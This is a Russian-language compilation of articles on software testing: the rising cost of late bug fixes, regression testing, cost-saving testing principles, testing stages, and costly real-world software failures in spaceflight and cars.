На каком этапе дороже всего исправить найденную ошибку

Если мы заметили ошибку на этапе написания требований, то исправить ее — дело 1 минуты, просто скорректировали предложение в тексте, и все.

Пока придумывают архитектуру будущего кода, стоимость уже дороже. Представьте, что архитектор уже придумал, как это будет выглядеть, а вы хотите изменить фундамент:

Но это еще реально. А вот если мы уже все построили (написали код), то некоторые изменения просто нельзя внести и приходится мириться с багом. А даже если можно, то стоить это будет сильно дороже:
— аналитику поправить ТЗ;
— архитектору придумать, как поправить минимальными усилиями;
— разработчикам внести правки.

Почему на картинке Lee Copeland есть еще Release с самой большой стоимостью?

Картинка из книги Lee Copeland

Потому что пока мы на этапе тестирования нашли проблему, то да, придется исправлять много кода, но все же этот код написан в последний месяц (или сколько времени у нас занимает выпуск одной версии продукта).

А вот если мы выпустили версию и уже сделали другую, третью пятую, десятую… А потом нашли баг в самой первой, то на том коде уже столько всего понастроено, в том числе и костылей. Что исправить вашу хочу-шку будет особенно сложно.

Тем не менее такой подход до сих пор используют в больших организациях на сотни человек. Там с требованиями работает один отдел аналитики, потом передают дальше и так по каскаду все приходит в тестирование. С проблемами ошибки в требованиях приходится мириться…

Так что запоминаем: чем раньше найдена ошибка, тем проще ее исправить!

Поэтому тестировщики так важны. Чем раньше они заметят проблемы, тем проще будет их исправить!

PS — это выдержка из моей книги для начинающих тестировщиков, написана в помощь студентам моей школы для тестировщиков

Антирегрессионное тестирование – минимизируйте затраты

Регрессионное тестирование играет важнейшую роль в разработке продукта и считается непростой задачей. С этим трудно не согласиться, когда вы тестируете то, что уже было протестировано, а потом тестируете это снова. Термин «регрессия» ассоциируется у членов команды с большими усилиями. Мы знаем, насколько головоломным и вместе с тем незаменимым может быть регрессионное тестирование для процесса релиза и спрашиваем «Приведет ли невыполненное регрессионное тестирование к неудовлетворительному результату?» и «Нужно ли проводить регрессионное тестирование, если программа без ошибок – это недостижимая цель?» Что ж, ответом будет «Да! Регрессионное тестирование нужно проводить регулярно».

Что подразумевается под регрессионным тестированием?

На этот вопрос можно ответить одной фразой: «Исправляя одну ошибку, вы привносите в приложение несколько новых ошибок». Регрессионное тестирование – это то, что позволяет обеспечить исправление ошибки без побочных эффектов.
Во время тестирования выявляются некоторые ошибки, при этом разработчики проекта проводят быструю отладку. Тестировщики и разработчики проводят регрессионное тестирование, чтобы исправление ошибок не привело к нарушению функционала приложения.

Определение: Регрессионное тестирование определяется как вид тестирования программного обеспечения, которое проводится, чтобы подтвердить, что последнее изменение программы или кода не сказалось отрицательно на существующих возможностях. Это не что иное, как полная или частичная выборка уже исполненных тестовых сценариев, которые исполняются повторно с целью проверить правильность работы существующих функций. Регрессионное тестирование также называется подтверждающим тестированием.

Антирегрессионное тестирование

Сам термин «регрессионное тестирование» в некотором роде неточен. Правильнее было бы назвать тестирование «антирегрессионным», так как мы выполняем тесты, чтобы проверить, что система не регрессировала (то есть в результате внесения изменений в ней не возникло еще больше ошибок). Точнее говоря, цель регрессионного тестирования состоит в том, чтобы убедиться, что изменение или улучшение кода программы или среды не нарушило функциональность и не создало побочных эффектов.

Как правило, компании используют так называемый набор или комплекс регрессионных испытаний. Это набор тестовых сценариев, используемых специально для регрессионного тестирования.

Целесообразно иметь комплекс регрессионного тестирования на каждом уровне проверки. Все тестовые сценарии, содержащиеся в комплексе регрессионного тестирования, должны выполняться всякий раз при создании новой версии программного обеспечения, что делает их идеальными кандидатами для автоматизации.

Почему с регрессионными дефектами трудно иметь дело?

Регрессионные ошибки зачастую неизбежны и требуют исправления до развертывания. Регрессионные ошибки трудно исправить по нескольким причинам.

Увеличение стоимости проекта: Крупная ошибка, найденная во время регрессионного тестирования, может создать значительное препятствие для процесса разработки. В отсутствие тщательного планирования регрессионное тестирование может увеличить стоимость проекта. Разработчики и тестировщики выполняют регрессионное тестирование периодически до тех пор, пока ошибки не будут найдены. Исправление регрессионных дефектов требует от разработчиков и тестировщиков выполнения доработок.

Временные сложности: Время регрессионного тестирования приходит после завершения одного этапа разработки и тестирования. По мере приближения сроков выполнения проекта регрессионное тестирование становится серьезным испытанием для команды. У разработчиков остается очень мало времени на исправление ошибок, а у тестировщиков – на проведение повторных функциональных и регрессионных испытаний.

Замедление процесса управления проектом: Каждая компания использует некоторый процесс, обеспечивающий создание продукта в соответствии с требованиями. При обнаружении значительного дефекта в программном обеспечении этот процесс может быть нарушен. Это негативно скажется на сроках выполнения проекта и развертывания продукта.

Тонкости исправления регрессионных дефектов

С регрессионным тестированием можно прекрасно справляться путем ревью кода, а также автоматизации как можно большего числа функциональных и нефункциональных сценариев. Каждый раз необходимо стараться избегать переделок. Это трудно сделать при совместной работе большого числа участников, однако можно попытаться исключить доработки.

Существенные изменения программы и ошибки – обычные явления в разработке продукта. При необходимости каких-либо доработок необходимо обсудить их на совещании, на котором количество ошибок в регрессионном тестировании сводится к минимуму.

Подтвердите каждую ошибку, выявленную в программе, и обсудите ее с членами команды. Это позволяет лучше понять программу и усовершенствовать продукт.

Сосредоточьтесь на наиболее частых сценариях использования программного приложения вместо того, чтобы пытаться протестировать все сразу. Например, лучше всего начать с регистрации пользователей, входа пользователей или покупок.

В регрессионную проверку следует включать этап исследовательского тестирования, которое помогает обеспечить проведение проверок и работу программного обеспечения в соответствии с пользовательскими ожиданиями.

Сравнение регрессионного тестирования и повторного тестирования

Очень тонкая линия разделяет регрессионное тестирование и повторное тестирование.

Цель регрессионного тестирования – убедиться, что изменения не повлияли на неизмененённую часть. Повторное тестирование проводится для того, чтобы проверить, что тестовые сценарии, не прошедшие во время последнего выполнения, работают после исправления дефектов. Регрессионное тестирование не проводится для исправления конкретных дефектов. Повторное тестирование выполняется на основе исправлений дефектов.

Автоматизация – ключевой фактор регрессионного тестирования, тогда как повторное тестирование невозможно автоматизировать по причине неопределенности. Проверка дефекта проводится только в рамках повторного тестирования.

Когда применяется регрессионное тестирование?

Регрессионное тестирование рекомендуется выполнять при возникновении следующих событий:

Регрессионное тестирование играет большую роль для приложения. Несмотря на некоторые недостатки, регрессионное тестирование выполняется, поскольку ошибки имеются во всех приложениях, но мы должны убедиться, что для пользователя они будут работать стабильно.

Источник

Цена качества: 7 принципов оптимизации затрат на тестирование

Думаете, как сэкономить на тестировании вашего ПО? Вы не одиноки. Возникает лишь одно маленькое но: если софт не дотестировать, возможны самые негативные сценарии – от дорогостоящей и крайне невыгодной вам доработки приложения на поздних стадиях до потери репутации и ухода клиентов/заказчиков к конкурентам.

Готовы взять к себе в штат 50 самых опытных тестировщиков, чтобы обеспечить качество продукта? Вот же круто! А зачем? Нужно понимать: если выделите слишком большие ресурсы на тестирование в тех случаях, когда это неоправданно, вы раздуете бюджет и софт будет слишком дорогой. Обрадуются ли этому ваши пользователи и заказчики? Вы снова рискуете.

Да, мы намекаем, что истина где-то посередине. В этой статье мы расскажем об основных принципах, следуя которым вы сможете найти баланс между стоимостью тестирования и качеством своего продукта.

Принцип №1. Начинайте тестировать как можно раньше

Одна из самых распространенных ошибок – это начинать тестировать продукт на поздних стадиях, когда он практически готов к релизу. Чем раньше команда тестирования (QA) подключается к процессу разработки, тем ниже вероятность пропустить ошибку в продакшн. Кроме того, ошибка выявленная на ранней стадии разработки обойдется дешевле. В разы. Наш опыт показывает, что цена фикса на поздних этапах может оказаться в 30 раз дороже, чем фикс этой же ошибки, например, на стадии прототипа.

Случай из практики: мы очень долго ждали в тестирование серверное приложение, которое собирало и обрабатывало большой массив данных пользователей. Разработчики просто отказывались отдавать его, мотивируя это тем, что у них много проблем, а тестирование можно провести и в конце. В итоге они работали над новой версией четыре месяца.

Когда мы начали тестировать приложение с реальным объемом пользовательских данных, оказалось, что выбранная архитектура базы данных не справляется с такой нагрузкой. Команде разработчиков из пяти человек пришлось заново всё планировать, переписывать дизайн и архитектуру приложения, а нам – тестировать его с нуля. Релиз состоялся на шесть недель позже планового.

Итог: желание сэкономить 150 человеко-часов на тестировании и отодвинуть его к релизу привело к потере 1100 человеко-часов своих сотрудников и двойным затратам на тестирование.

Принцип №2. Экономьте, но только не на аналитике

Допустим, вы прислушались к нашим аргументам и решили реализовать первый принцип. На каком этапе разработки продукта выгоднее всего раскошелиться и подключить команду тестирования? Ответ: на этапе планирования архитектуры приложения, ну или хотя бы на этапе анализа и подготовки требований.

Без грамотно проведенной аналитики вы рискуете выпустить на рынок идеальный продукт, который никому не нужен. Такое бывает, когда вы не учитываете особенности своей целевой аудитории.

Мы помним страшилку о приложении для бега, которое было заточено под пользователей из Азии. Оно бы обязательно понравилось ЦА и принесло прибыль, если бы клиенты смогли установить приложение на свои смартфоны. Но они не смогли, а знаете почему? На этапе сбора требований была допущена ошибка, из-за которой приложение тестировалось на айфонах и смартфонах Samsung, которых в Азии – минимум. Ведь азиатские пользователи однозначно отдают предпочтение Huawei и OPPO.

В нашем примере сэкономить у разработчика опять не получилось. Мало того, что пришлось потратить 300 человеко-часов на доработку и тестирование продукта, так еще и репутационные издержки практически поставили проект на колени.

Итог: вы можете пригласить специалистов со стороны или ограничиться своими силами, главное – помните, что потребительское тестирование на этапе поддержки обходится в десятки раз дороже. И под дороже мы подразумеваем не столько денежные убытки, сколько репутационные издержки. Не экономьте на аналитике. Только не на ней!

Принцип №3. Определите цели и ожидания

Конечно же, вы хотите, чтобы всё работало, и работало хорошо. Но этого мало. Вам нужно понимать, насколько хорошо и почему именно настолько.

Знаете, как распознать хорошего тест-менеджера? Он сразу начинает «пытать» вас, чтобы понять, какого именно качества продукт вам нужен. Мы называем это сбором ожиданий. Качество вашего ПО складывается из определенных кирпичиков. Опытный тест-менеджер захочет узнать, какие именно кирпичики нужно положить в фундамент качества.

Когда к нам приходит заказчик и говорит: «Я хочу, чтобы оно работало», мы начинаем его расспрашивать: какая основная цель создания продукта? какие функции наиболее востребованы пользователями? как они их используют?

После сбора ожиданий идет постановка SMART-целей, их декомпозиция, построение задач и таблиц KPI. В итоге мы четко определяем:

Иногда, правда, случаются казусы. На проекте интернет-магазина страховых услуг мы провели анализ и подготовили предложение. Ввиду сложности функционала и величины модулей, помимо полного функционального и регрессионного тестирования продукта, мы рекомендовали автоматизировать регресс. Несмотря на то что именно на регресс уходила большая часть времени, заказчик отказался от его автоматизации, мотивировав это тем, что имеется сильная команда «ручников», а автоматизация отнимет много времени и станет невыгодной. Все наши дальнейшие аргументы и расчеты игнорировались. Мы не смогли доказать свою позицию и три месяца тестировали регресс вручную, что, по сути, было убыточно для заказчика.

Затем проект свернули, два месяца анализировали и вернулись с предложением использовать план по автоматизации, который мы предложили пять месяцев назад.

Итог: нужно уметь не только понять цели проекта и желания клиента, но и доказать ему, что вы на его стороне и знаете, как получить выгоду. Иначе будет как у нас: слитый на ручное регрессионное тестирование бюджет, хотя автоматизация сэкономила бы и время, и деньги. Кстати, об автоматизации…

Принцип №4. Автоматизируйте

…Но мудро. И предварительно посчитав ROI.

Чтобы автоматизация экономила ваши деньги, продукт должен быть стабильным. Впрочем, если он очень динамично меняется, это не значит, что автоматизация вам не поможет. Использование тулов и специализированных программ – уже автоматизация. Например, вы поможете автоматить рутинные операции, съедающие время ваших тестировщиков. Скажем, написать утилиту, которая собирает нужные конфигурации.

Случай из практики: заказчик хотел релизиться каждый день вместо двух раз в неделю. При этом полное ручное регрессионное тестирование занимало два-три дня. А так как 80% функциональности продукта были устоявшимися и стабильными, было принято решение ее автоматизировать. Для этого мы разработали четыре сценария автоматизации и провели сравнительный анализ их эффективности. Обычно для этого мы используем восемь показателей:

Окончательный отбор прошли два сценария автоматизации. Их использование позволило нам сократить регресс с двух дней до пары часов на прогон автотестов, плюс два часа на оставшиеся ручные проверки, которые автоматизировать оказалось нерентабельно.

Итог: автоматизация может сократить трудозатраты на тестирование в десятки раз, а может слить бюджет впустую. Без умения анализировать и считать ROI вы всегда рискуете навсегда разочароваться в автоматизации.

Принцип №5. Научитесь использовать новичков

Не хотите автоматизировать? Тестеры с опытом бьют по бюджету? Подумываете нанять рукастых выпускников вузов за небольшую, но разумную зарплату? Неплохая идея, но есть несколько нюансов. Даже если у вас несложный продукт, одних новичков вам не хватит.

Ребенок может найти баг в игре и сломать приложение по методу манки-тестинг, но найдет ли он все баги? Конечно нет. Мы очень любим новичков, но они, как правило, не владеют методами исследовательского тестирования. Зато они могут «ходить» по тестам. Поэтому на компанию новичков с горящими глазами нужен «старичок», который пропишет проверки на том уровне, который будет понятен вашим новичкам.

Например, мы привлекаем новичков под присмотром наставников даже к некоторым сложным проектам. Вначале процесс интеграции и адаптации новичка на проекте занимал месяц, что, разумеется, увеличивало сроки и стоимость тестирования. Для решения этой проблемы мы разработали «пакеты новичка» с тестовой документацией и всеми инструкциями по установке и настройке необходимых компонентов. Этот шаг позволил сократить срок полной адаптации сначала до двух недель, а после добавления в «пакет» набора наглядных кейсов и обучающих видео – до недели.

Фрагмент набора кейсов для тестирования страхового продукта представлен ниже.

«Пакет новичка» может включать что-то совсем простое, но полезное, типа генератора данных.

А может давать конкретные шаги по прохождению кейсов. Кстати, по нашему опыту, лучше всего давать новичкам именно тест-кейсы (с подробно расписанными шагами и предусловием), а не чек-листы.

Имея такой набор под рукой, новичок всегда будет знать, какой тест проходить, что делать и где искать недостающую информацию.

Итог: выгодно использовать труд новичков без потери качества и скорости тестирования вполне возможно. Junior способен приносить реальную пользу на проекте уже со второй недели, сократив потери времени на адаптацию в 4 раза (со 160 до 40 часов).

Опытный наставник и бизнес-процессы интеграции новичков помогут вырастить крутую команду в кратчайшие сроки. Мы вот регулярно так делаем, а количество классных тестировщиков, которых мы подготовили, уже превысило тысячу!

Принцип №6. Вам не нужны сто тестировщиков, вам нужны те, кто работает головой

Тестировщиков не должно быть много, их должно быть достаточно. Вы же не хотите потратиться на отличных опытных ребят, которые будут просто скучать на работе или заводить никому не нужные миноры? Точно так же вы не захотите, чтобы сорок разработчиков завалили одного несчастного специалиста по тестированию всеми своими фиксами и у него не хватало ни времени, ни энергии на качественную работу над задачами. Итак, шестое правило баланса цены и качества – искать этот баланс.

Интуиция – это важно, но всё же старайтесь прибегать к помощи стратегов и аналитиков, которые помогут вам оценить объем задач, необходимое вам количество людей и их квалификацию.

Распространенный случай из практики. Не так давно к нам обратился клиент, у которого в команде было 12 тестировщиков: ТМ, senior, middle и 9 junior. Мы провели аудит процессов тестирования и отказались от восьми тысяч ненужных задач (таких как регресс незатронутой обновлениями функциональности, заведение миноров и т.д.), плюс придумали, как оптимизировать тесты. Оказалось, что проект нуждается в трех автоматизаторах (предложили своих) и еще одном middlе, которого вырастили из числа junior. От остальных новичков пришлось отказаться.

Далее мы оставили тестирование критичного функционала в блоке «Идентификация и квитовка» на middle. Они проверяли его вручную, исследовательским тестированием. Все остальные блоки практически полностью ушли на автоматизаторов.

В итоге это позволило:

– Снизить стоимость предрелизного тестирования с 232 400 до 35 200 рублей.

– Повысить ROI тестирования за счет автоматизации в 5 раз.

– Снизить управленческую нагрузку на руководство.

– Сократить время предрелизного тестирования на 23 человеко-часа.

– Повысить качество тестирования, оставив на проекте только опытных тестировщиков.

Принцип №7. Посчитайте, что вам выгоднее: штат или аутсорс

Часто, но не всегда аутсорс обходится дешевле и позволяет нанять более опытных сотрудников со скидкой.

Еще один кейс из нашей практики: Как сэкономить более полутора миллионов рублей в год, наняв вместо девяти штатных тестировщиков с зарплатой 70 тысяч рублей девять аутсорсеров с зарплатой 130 тысяч.

Чтобы не быть голословными, покажем таблицу, которая объяснит, откуда берется такая выгода.

В нашем примере штатный тестировщик с окладом 70 тысяч рублей в месяц обходится компании на 14 877 рублей дороже, чем более дорогостоящий специалист-аутсорсер, имеющий почти вдвое больший оклад. Если взять в расчет отдел из 9 человек, которые отработали год, то выгода составит 1 606 716 рублей. А это уже деньги.

Впрочем, иногда бывает, что, даже понимая выгоду, компании не хотят отдавать тестирование на аутсорс. Например, мы часто сталкиваемся с желанием клиента перенести всё к себе в штат. Это связано со страхами и неготовностью делиться своими наработками и документацией с внешними заказчиками.

Такая позиция вполне оправдана: несмотря на все договоры о неразглашении, всегда остается риск случайной утечки информации, стоимость которой не покрывают потом никакие судебные иски. Чтобы не попасть в такую ситуацию, рекомендуем перестраховаться и обратиться к компании, в отношении которой за прошедшие десять лет не было возбуждено ни одного такого иска, предварительно пообщавшись с заявленными у нее на сайте клиентами.

Коротко о сказанном

1. По версии «Национального Института Стандартов и Технологии» стоимость тестирования в конце разработки может превышать её стоимость на начальных этапах в 15 раз, а после релиза в 30 раз.

Не хотите переплачивать? Начинайте тестировать как можно раньше!

2. Непонимание своей ЦА и её требований к продукту похоронило множество отличных проектов.

Экономите на аналитике? Готовьтесь платить за игру в угадайку!

3. Анализировать нужно не только ЦА, но и пожелания заказчиков. На их основе нужно уметь ставить и декомпозировать SMART-цели.

Не умеете ставить чёткие цели? Ваши цели непонятны заказчику? Закладывайте затраты на доработку и переделку!

4. Автоматизация помогает оптимизировать затраты на тестирование. Но не везде и не всегда.

Считаете, что руками тестировать выгоднее? Посчитайте ROI от автоматизации по нескольким сценариям и сравните цифры!

5. Новички в тестировании полны энтузиазма, но им не хватает опыта. Хороший наставник и «пакет новичка» повышает КПД джуна на проекте в 2-3 раза.

Набрали вчерашних выпускников за разумную плату? Готовьтесь доплатить за их превращение из «обезьянки» в человека!

6. Качество не равно количеству. Хороший специалист стоит дороже, потому что он даёт лучший результат.

Не хотите экономить, работая на результат? Тогда вам не стоит проводить аудит команды тестирования и оптимизировать её состав.

7. Аутсорс тестирования позволяет получить на проект опытную команду с гарантией результата. Но подходит аутсорс далеко не всем.

Хотите готовое решение с демократичным ценником? Рассчитайте преимущества от штата и от аутсорса, возможно второй вариант окажется в разы выгоднее.

Вместо эпилога

Качество – понятие многогранное, поэтому и его цена может варьироваться в зависимости от глубины понимания компанией этого термина. Есть много способов сэкономить в ущерб качеству, но не так много вариантов повысить качество без переплат. Соблюдение вышеперечисленных принципов помогло нам заработать надежную репутацию на рынке и лояльность наших клиентов, а самим клиентам – сэкономить силы, ресурсы и время.

Примерьте эти принципы на себя, они весьма просты, а потому эффективны. Надеемся, наша статья поможет вам сэкономить на тестировании без снижения качества. А еще мы ждем ваших вопросов, идей, предложений и замечаний в комментариях.

Нина Агеева,
Deputy Director at Лаборатория качества.

Источник

Этапы тестирования ПО

Тестирование является неотъемлемой частью жизненного цикла программного обеспечения. Само по себе тестирование – длительный процесс проверок на соответствие ожидаемого результата. Нельзя выделить какой-то один этап как важный, каждый из них имеет одинаковый вес. При создании продукта тестировщик не просто играет важную роль, а участвует на каждом этапе разработки от концепции до выхода продукта в свет.

Как уже было отмечено, тестирование – неотъемлемая часть жизненного цикла продукта, однако необходимо понимать, с чего стоит начинать тестирование, и когда оно заканчивается. Например, неопытные специалисты ошибочно думают, что после релиза они могут переключаться на другой проект.

Всего принято выделять 7 этапов тестирования:

Прежде, чем переходить к описанию каждого цикла тестирования, необходимо запомнить важное правило: переход к следующему этапу допустим лишь после полного завершения работы на предыдущем. Теперь поговорим о каждом этапе тестирования отдельно.

Этап 1. Работа с требованиями

Команда тестирования знакомится с требованиями заказчика, функционалом продукта. На данном этапе важно непрерывное общение команд, необходимо задавать вопросы разработчикам.

Тщательное изучение требований должно:

Общение является ключевым аспектом в разработке продукта, а продуманный roadmap (дорожная карта, стратегический план по реализации функционала продукта по определенным датам) позволит устранить нелогичность будущих внесенных изменений в продукт.

Этап 2. Разработка стратегии тестирования и планирование процедур контроля качества

Данный этап важен для лидов или менеджеров, поскольку от понимания полученной на предыдущем этапе информации зависит качество тестирования.

Этап 3. Создание тестовой документации

Цель данного этапа – создать документацию, объем которой будет охватывать детализацию, ход работ, а также вносить ясность для заказчика.

Общение с другими командами, понимание желаний заказчика напрямую влияют на качество тестовой документации. После проведенного тестирования можно проанализировать его успешность.

Тестовая документация может состоять из:

Детализация тестовой документации зависит от проекта, поэтому она может отличаться и по охвату, и по формату, и по объему. Для тестировщика важно поддерживать документацию в актуальном виде, вносить любые изменения, связанные с изменением итогового продукта.

Этап 4. Тестирование прототипа

При создании и тестировании прототипа продукта необходимо выявить основные отклонения от ожидаемого результата и соответствие с бизнес-стратегией. Здесь же выявляются ошибки в работе логики основного функционала, устраняются найденные уязвимости и дефекты, допущенные на этапе разработки. Заказчик может сам участвовать в процессе тестирования прототипа, чтобы он мог оценить, на каком этапе находится разработка продукта. После тестирования выдвигаются пожелания со стороны заказчика. Новые пожелания необходимо задокументировать, оценить сроки, внедрить в проект и передать на осмотр заказчику.

Самый подходящий метод тестирования прототипа – проведение закрытого бета-тестирования, когда продукт тестирует продукт малое количество людей, которые в итоге будут использовать его после релиза. Это помогает учесть пожелания конечных пользователей.

Очень важно лиду или менеджеру проекта передавать информацию тестировщикам и разработчикам о пожеланиях заказчика, на какие частые сбои в продукте натыкались пользователи для того, чтобы сделать его более понятным.

Этап 5. Основное тестирование

Тестирование программного обеспечения является самым длительным и объемным процессом. Здесь формируются репорты о найденных дефектах, выполняется набор тестовых сценариев, создается тестовая среда, выполняется тестирование, виды которого были задокументированы на этапе создания тестовой документации. Смоук- и регресс-тестирования являются одними из основных видов тестирования, которые проводятся на данном этапе.

Важно понимать: невозможно найти все ошибки в продукте. Но и не найти ошибки при тестировании можно считать провалом. Главная цель — не сделать идеальный продукт без ошибок, а найти максимальное количество дефектов, которые потенциально могут сломать систему.

Этап 6. Стабилизация

Наверное, самый непонятный с точки зрения формулировки этап. На нем заканчивается работа с пожеланиями заказчика и фиксируются найденные баги. Он является связующим звеном между командой тестирования и командой разработчиков. На протяжении создания онлайн-ресурса команда разработчиков занималась своими делами, реализуя «хотелки» заказчика, а тестировщики репортили о новых дефектах. А на этапе стабилизации разработчики начинают слушать тестировщиков, устраняя то, что уже работает, но некорректно.

Если продукт существует в какой-то большой системе, то на данном этапе также проверяется коммуникация системы и продукта, то есть проводится интеграционное тестирование.

Этап 7. Эксплуатация и поддержка

Пожалуй, самый волнительный период. После устранения дефектов команда разработчиков переходит в этап тестирования продукта в продакшн-среде. Так как многие ставят точку на проекте после релиза, очень важно подметить, что здесь происходит не только релиз продукта, но и пост-релизовая поддержка.

При всем желании нельзя учесть все нюансы использования, воссоздать ту среду, в которой будет использован продукт. Поэтому на данном этапе необходимо сделать акцент на том, что говорят пользователи, важно прислушиваться к их мнению, поскольку они участвуют не только в использовании продукта, но и тестировании, натыкаясь на ненайденные ошибки. Ваш продукт становится частью жизнедеятельности людей, поэтому устранение дефектов и их поиск проводятся быстро, но тщательно. Не всегда конечный пользователь может предоставить информацию о том, что он сделал для получения ошибки, поэтому за повторение дефекта берется QA-команда.

Изучив все этапы тестирования сложно выделить главный – каждый из них важен по-своему. Тестирование является долгим и кропотливым процессом, результатом которого является выявленная ошибка в системе. Тестировщик должен четко формулировать свою позицию, почему найденная ошибки — действительно дефект, должен прислушиваться после релиза к позиции конечного пользователя и помнить, что ничто в этом мире не идеально.

Источник

Цена ошибки: кто и сколько платит за промахи программистов?

Современные программисты живут в интересное время, когда программное обеспечение проникает буквально во все сферы жизни человека и начинает существовать в бесчисленном количестве устройств, плотно вошедших в наш обиход. Сейчас уже никого не удивишь программами в холодильниках, часах и кофе-машинах. Однако, параллельно с торжеством удобства растет и зависимость людей от умной техники. Неизбежное последствие: на первый план выходит надежность программного обеспечения. Сложно кого-то напугать взбесившейся кофеваркой, хотя и она может натворить много бед (литры кипящего кофе стекают по вашей белоснежной мраморной столешнице. ). Но мысль о растущих требованиях к качеству ПО важна, поэтому поговорим об ошибках в коде, которые повлекли за собой существенные траты времени и денег.

Цель повествования — борьба с идеей, что к дефектам в программах можно относиться так же пренебрежительно, как и раньше. Теперь ошибки в программах — это не только неправильно нарисованный юнит в игре, сейчас от кода зависит сохранность имущества и здоровье людей. В этой статье я хочу привести несколько новых примеров необходимости трепетного отношения к коду.

Нельзя отрицать, что сложные программы все активнее входят в нашу жизнь: управляемая со смартфона бытовая техника, гаджеты, наделенные таким функционалом, о котором еще 10 лет назад не приходилось и мечтать и, конечно, более сложное ПО на заводах, в автомобилях и т.д. Любая программа создается человеком и, чем она умнее, тем опаснее ее сбой.

Поговорим о деньгах, потерянных из-за ошибок в программном обеспечении, и росте нашей зависимости от программного кода. Тема неоднократно обсуждаемая (в том числе моим коллегой — Андреем Карповым — «Большой Калькулятор выходит из-под контроля»), и каждый новый пример доказывает: качество кода — не то, чем можно пренебрегать.

Космос

Дорогой дефис

Спутник Mariner 1 в 1962 году должен был отправиться к Венере. Стартовав с мыса Канаверал, ракета практически сразу сильно отклонилась от курса, что создало серьезную угрозу падения на землю. Для предотвращения возможной катастрофы NASA было принято решение запустить систему самоуничтожения ракеты. Спустя 293 секунды с момента старта, Mariner 1 был ликвидирован.

Ревизионная комиссия провела расследование, в ходе которого было выявлено: причиной аварии послужила программная ошибка, из-за которой поступали неверные управляющие сигналы.

Программист неправильно перевел написанную формулу в компьютерный код, пропустив макрон или надчёркивание (что значит «n-ое сглаживание значения производной радиуса R по времени»).

Программа даже незначительные изменения скорости воспринимала как весьма существенные и проводила корректировку курса (источник).

Цена «пропущенного дефиса» — 18 млн долларов (на тот момент).

Российский GPS, опустившийся на дно

Ярким примером того, как из-за программной ошибки могут быть потеряны миллионы, является относительно недавний случай. Казалось бы, в 21 веке есть все необходимое для написания надёжных программ, особенно, если речь идет о космической отрасли. Опытные специалисты с отличным образованием, хорошее финансирование, возможность использования лучших инструментов для проверки программного обеспечения. Все это не помогло. 5 декабря 2010 года ракета-носитель «Протон-М» с тремя спутниками «Глонасс-М» — российский аналог GPS, упала в Тихий океан.

Причину аварии, после завершения расследования, озвучил официальный представитель Генпрокуратуры РФ Александр Куренной: «Установлено, что причиной аварии стало применение неверной формулы, в результате чего масса заправленного в бак окислителя разгонного блока жидкого кислорода на 1582 кг превысила максимально допустимую величину, что повлекло выведение ракеты-носителя на незамкнутую орбиту и его падение в акваторию Тихого океана» (источник).

Интересный момент в этой истории — документ о необходимости корректировки формулы был, но его списали как исполненный. Руководство же не удосужилось проверить выполнение своих указаний. Все причастные к аварии лица были привлечены к уголовной ответственности и крупным штрафам. Но это не компенсирует потери, составившие 138 миллионов долларов.

Автомобили

Еще в 2009 году профессор информатики в Техническом университете Мюнхена, эксперт по программному обеспечению в автомобилях Манфред Бра, сказал: «Программное обеспечение автомобиля премиум-класса содержит около 100 миллионов строк кода» (источник). С того момента прошло уже восемь лет, и совсем не обязательно быть поклонником передачи Top Gear, чтобы заметить: современные автомобили — это настоящие интеллектуальные машины.

По заявлению все того же эксперта, стоимость программного обеспечения и электроники в автомобиле составляет порядка 40% от его цены на рынке. И это касается бензиновых моторов, что же говорить о гибридах и электрокарах, где это значение равно примерно 70%!

Когда электронная начинка становится сложнее механической, то возрастает ответственность разработчиков программного обеспечения. Баг в одной из ключевых систем, например, торможения, представляет гораздо большую опасность, чем порвавшийся тормозной шланг.

Садиться за руль современных комфортных и «умных» авто или ездить на олдскульных, но понятных машинах? Решать вам, я же предлагаю небольшую подборку багов в программном обеспечении автомобилей.

И снова Toyota

Японские автомобили Toyota имеют положительную репутацию, но периодически в СМИ попадает информация об отзыве некоторого количества машин. В нашем блоге уже есть статья о программной ошибке в Toyota — «Toyota: 81 514 нарушений в коде», но этот случай, к сожалению, не единичный.

В 2005 году было отозвано 160 тыс. гибридов Toyota Prius 2004 года выпуска и начала 2005. Проблема заключалась в том, что машина могла в любой момент остановиться и заглохнуть. На устранение бага было затрачено около 90 минут на одно транспортное средство или около 240 тыс. человеко-часов.

Chrysler и Volkswagen

В мае 2008 года Chrysler отозвал 24535 автомобилей Jeep Commanders 2006 года выпуска. Причина — программная ошибка в модуле управления автоматической трансмиссией. Сбой приводил к неконтролируемой остановке двигателя.

В июне того же года Volkswagen отзывает около 4000 Passat и 2500 Tiguans. Здесь ошибка в программном обеспечении оказывала воздействие на увеличение оборотов двигателя. Показания тахометра начинали ползти вверх при включенном кондиционере.

Стоит ли говорить о том, что процесс отзыва автомобилей связан с огромными финансовыми затратами. Но для таких крупных компаний-производителей гораздо страшнее не денежные потери, а упадок доверия потребителей. При огромной конкуренции на автомобильном рынке, одна такая оплошность может обернуться очень и очень негативными последствиями. Восстановление репутации надежного производителя — дело нелегкое.

Tesla

Выше речь шла об обычных автомобилях, причем не самых последних годов выпуска. Как видите, даже в них возможны программные ошибки, что уж говорить об активно популяризируемых экологически безопасных электрокарах.

Поговорим, конечно же, о Tesla Model S. 7 мая 2016 Джошуа Браун, прославившийся благодаря своим роликам на YouTube, посвященным восхвалениям электромобиля, попал в автокатастрофу. Он находился за рулем Tesla Model S. Будучи на 100% уверенным в интеллекте машины, он доверился автопилоту. Результат доверия трагичный — от полученных травм Джошуа скончался на месте.

Катастрофа получила широкую огласку. Началось расследование. Удалось установить, что, по всей видимости, Браун самостоятельно не следил за дорогой, а автопилот столкнулся с ситуацией, которая не нашла отражение в его программном коде. Перед Tesla Джошуа двигался грузовик с прицепом. Автомобиль планировал выполнить маневр — левый поворот, соответственно, требовалось сбавить скорость. Но Tesla, едущий позади, не начал тормозить, т.к. системы автопилота не распознали находящийся впереди объект.

Произошло это, скорее всего, из-за яркого солнца. Лучи отражались от прицепа и автопилот воспринял грузовик единым целым с небом. В официальном докладе это объяснялось следующим образом: «Системы автоматического торможения Теслы являются технологией избегания столкновения в редких случаях и не спроектированы для надежного выполнения во всех режимах аварии, включая столкновения в результате пересечения путей» (источник). Полный отчет об аварии находится в свободном доступе.

Иными словами, автопилот призван помогать водителю (более совершенный круиз-контроль, грубо говоря), а не заменять его функции. Конечно, репутацию Tesla такое оправдание не сильно спасло. Работы над совершенствованием программного обеспечения продолжились, но Tesla Model S с дорог отозваны не были.

С одной стороны, такая статистика свидетельствует о том, что электрокар безопаснее, но готовы ли вы доверить свою жизнь, жизнь пассажиров и других участников дорожного движения программе?

